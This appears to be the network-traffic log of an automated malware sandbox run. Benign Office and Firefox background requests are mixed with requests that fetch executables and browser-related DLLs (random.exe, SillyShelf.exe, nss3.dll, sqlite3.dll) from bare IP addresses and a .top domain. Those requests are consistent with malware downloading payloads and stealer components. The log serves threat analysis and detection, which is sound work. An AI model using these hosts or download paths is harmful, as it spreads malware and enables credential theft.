Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /x/SillyShelf.exe HTTP/1.1Host: 154.216.20.78
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
